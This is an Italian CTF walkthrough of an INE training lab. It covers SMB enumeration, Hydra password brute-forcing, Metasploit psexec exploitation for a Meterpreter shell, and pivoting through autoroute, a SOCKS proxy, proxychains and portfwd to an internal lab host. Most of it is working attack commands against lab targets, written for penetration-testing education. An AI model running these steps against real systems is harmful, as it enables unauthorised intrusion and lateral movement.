Tutorials

Pivoting CTF Walkthrough - INE LAB

In questo laboratorio proposto da INE, abbiamo affrontato una simulazione realistica che ci ha portato ad effettuare un attacco iniziale verso una macchina raggiungibile in rete, sfruttando il protoco

#exploitation#metasploit

Pivoting CTF Walkthrough - INE LAB

Overview

In questo laboratorio proposto da INE, abbiamo affrontato una simulazione realistica che ci ha portato ad effettuare un attacco iniziale verso una macchina raggiungibile in rete, sfruttando il protocollo SMB, per poi utilizzare tecniche di pivoting con l'obiettivo di ottenere accesso ad un sistema interno non direttamente raggiungibile.

L'attività è fondamentale per comprendere e sperimentare in pratica una fase critica del penetration testing su infrastrutture complesse: il movimento laterale e l'accesso a segmenti di rete isolati.


Step-by-step

Step 1: Accesso all'ambiente di laboratorio

  • Collegarsi alla GUI Kali messa a disposizione tramite il link fornito dalla piattaforma.

Step 2: Identificazione delle macchine raggiungibili

  • Eseguire un semplice test ICMP per verificare quali domini sono raggiungibili:
bash
ping -c 5 demo.ine.local
    ping -c 5 demo1.ine.local
- Solo demo.ine.local risponde, indicandoci la prima macchina target accessibile.

Step 3: Port Scanning

  • Effettuare uno scan con Nmap per identificare le porte aperte:
bash
nmap demo.ine.local
- Porte identificate: 139, 445 (SMB), 3389 (RDP), ecc.

Step 4: SMB Enumeration

  • Ristretto alle porte 139 e 445, si approfondisce lo scan SMB:
bash
nmap -sV -p 139,445 demo.ine.local
  • Versione OS rilevata: Microsoft Windows Server 2008 R2 - 2012.

Step 5: Identificazione delle versioni SMB supportate

  • Utilizzo di script Nmap per identificare le versioni SMB:
bash
nmap -p445 --script smb-protocols demo.ine.local
- Sono supportate SMBv1, v2, v3.

Step 6: Verifica della modalità di sicurezza SMB

bash
nmap -p445 --script smb-security-mode demo.ine.local
  • È possibile autenticarsi come guest.

Step 7: Accesso anonimo via smbclient

bash
smbclient -L demo.ine.local
  • Accesso anonimo confermato. Possibilità di accedere a share pubbliche.

Step 8: Enumerazione degli utenti

bash
nmap -p445 --script smb-enum-users.nse demo.ine.local
  • Utenti identificati: admin, administrator, root, guest

Step 9: Brute-forcing SMB credentials con Hydra

  • Preparazione file users.txt con i nomi utente
  • Esecuzione brute-force con dizionario:
bash
hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt demo.ine.local smb
- Password valide identificate per gli utenti principali.

Step 10: Accesso con Metasploit (psexec)

  • Uso del modulo Metasploit psexec per ottenere shell con utente administrator
bash
use exploit/windows/smb/psexec
    set RHOSTS demo.ine.local
    set SMBUser administrator
    set SMBPass <password>
    run
- Ottenimento di una Meterpreter session.

Pivoting

Obiettivo

Utilizzare la macchina compromessa demo.ine.local come ponte per accedere a demo1.ine.local, macchina non raggiungibile direttamente dalla rete iniziale.

Verifica della reachability da meterpreter

All'interno della shell ottenuta, eseguire:

bash
ping demo1.ine.local
  • La macchina risponde: è raggiungibile dalla macchina pivotata.

Metodo 1: Pivoting con Metasploit Route + Socks4a Proxy

1. Aggiungere la route per la nuova subnet interna:

bash
run autoroute -s 10.2.0.0/24
2. Avviare un socks proxy:
bash
use auxiliary/server/socks_proxy
    run
3. Configurare proxychains: - Editare /etc/proxychains.conf e aggiungere:
bash
socks4 127.0.0.1 1080
- Usare proxychains per avviare scansioni e strumenti:
bash
proxychains nmap -sT -Pn demo1.ine.local
        proxychains smbclient -L demo1.ine.local

Metodo 2: Port Forwarding con SSH o Meterpreter

  • In alternativa, è possibile forwardare le porte tramite:
bash
portfwd add -l 445 -p 445 -r demo1.ine.local
- A questo punto è possibile connettersi a localhost:445 come se fosse demo1.ine.local.

Post-pivoting Enumeration ed Exploitation

  • A questo punto si ripetono le stesse tecniche usate su demo.ine.local anche per demo1.ine.local: enumeration, brute force, exploitation, ecc.

Conclusioni

Questo laboratorio è un ottimo esempio pratico di come sfruttare una macchina compromessa per accedere a infrastrutture interne non esposte. Il pivoting è una tecnica chiave nel penetration testing avanzato, fondamentale per ottenere l'accesso completo in ambienti reali segmentati.

È consigliabile integrare quanto appreso nel proprio arsenale operativo, e testare differenti approcci di pivoting (proxy, port forwarding, VPN via ssh, ecc.) per acquisire una padronanza completa della tecnica.

Suggerimento Operativo: integrare nei propri playbook di engagement una sezione dedicata al movimento laterale e pivoting, con strumenti come Metasploit, Chisel, e Socks proxies.